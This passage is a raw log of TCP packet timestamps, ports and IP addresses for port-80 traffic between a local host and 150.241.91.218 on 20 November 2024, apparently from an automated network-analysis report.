                                                                                                                                                              Nov 20, 2024 11:21:45.953562021 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.953629017 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.954370022 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.954545021 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.954690933 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.954703093 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.954756021 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.954842091 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.954938889 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.955208063 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.955332041 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.955333948 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.955513000 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.955605030 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.955622911 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.955637932 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.955693960 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.955792904 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.955879927 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.955931902 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.956090927 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.956098080 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.956109047 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.956118107 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.956147909 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.956177950 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.956254005 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.956264019 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.956271887 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.956281900 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.956311941 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.956407070 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.962904930 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.962914944 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.962918997 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.962996006 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.963044882 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.963059902 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.963121891 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.963387012 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.963397980 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.963488102 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.963689089 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.963850021 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.963874102 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.963900089 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.964998960 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.965095043 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.965116978 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.965131044 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.965235949 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.965662956 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.965681076 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.965792894 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.965804100 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.965814114 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.965825081 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.965833902 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.965843916 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.965854883 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.965882063 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.965951920 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.965961933 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.965970993 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.965980053 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.965985060 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.966006041 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.966059923 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.967009068 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.967021942 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.967103958 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.967489958 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.967617989 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.967659950 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.967705965 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.968322039 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.968411922 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.969270945 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.969331026 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.969829082 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.969841003 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.969966888 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.969969034 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.969985008 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.970249891 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.970357895 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.970400095 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.970510006 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.970520973 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.970591068 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.970823050 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.970984936 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.971010923 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.971060991 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.971187115 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.971338034 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.971373081 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.971479893 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.971653938 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.971664906 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.971793890 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.972764969 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.973047018 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.977926016 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.977938890 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.977947950 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.978004932 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.978660107 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.978671074 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.978718996 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.979263067 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.979331017 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.980451107 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.980495930 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.980973959 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981057882 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.981149912 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981159925 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981288910 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.981321096 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981332064 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981378078 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.981405973 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981417894 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981487989 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.981570959 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981583118 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981591940 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981604099 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981616020 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981631041 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981641054 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981658936 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.981661081 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981672049 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.981695890 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.981745958 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.982029915 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982045889 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982125044 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.982155085 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982203007 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.982397079 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982467890 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982477903 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982486963 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982496023 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982506037 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982515097 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982525110 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982534885 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.982548952 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982559919 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982569933 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.982569933 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982582092 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982590914 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982599974 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982609987 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.982636929 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.982671022 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.983264923 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.983338118 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.983385086 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.983395100 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.983453989 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.983499050 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.983650923 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.983660936 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.983670950 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.983705044 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.983750105 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.983757019 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.983762026 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.983819008 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.984167099 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.984328032 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.984339952 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.984388113 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.984471083 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.984728098 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.984730959 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.984797955 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.984824896 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.985017061 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.986072063 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.986722946 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.992014885 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.992027998 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.992078066 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.992089987 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.992103100 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.992141008 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.992193937 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.992222071 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.992317915 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.993036985 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.993192911 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.993253946 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.993997097 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.994235992 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.995574951 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.995615005 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.996582985 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.996596098 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.996607065 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.996629000 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.996658087 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.996716022 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.996721983 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.996802092 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.997509956 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.997653961 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.997761965 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.997900963 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.997961998 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.997973919 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.997984886 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.997996092 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998019934 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.998039007 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998048067 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.998081923 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.998198986 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998271942 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.998301983 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998404026 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998413086 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998424053 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998433113 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998441935 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998500109 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998516083 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998522043 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.998524904 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998537064 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998543978 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.998579025 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998621941 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.998641968 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998661995 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998694897 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.998707056 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998873949 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.998972893 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.998984098 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.999030113 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.999048948 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.999193907 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.999222994 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.999259949 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.999334097 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.999568939 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.999592066 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.999623060 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.999631882 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.999660969 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.999706984 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.000225067 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.000276089 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.000303984 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.000354052 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.000365019 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.000427008 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.000524044 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.000636101 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.000663042 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.000735044 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.003057003 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.003222942 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.009016991 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.009030104 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.009042025 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.009130001 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.009248018 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.009267092 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.009285927 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.009330034 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.009504080 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.009727001 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.013159990 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.013356924 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.014112949 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.014286995 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.015185118 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.015284061 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.015767097 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.015778065 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.015786886 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.015811920 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.015845060 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.015853882 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.015860081 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.015863895 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.015876055 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.015887976 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.015896082 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.015898943 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.015909910 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.015922070 CET4979980192.168.2.8150.241.91.218
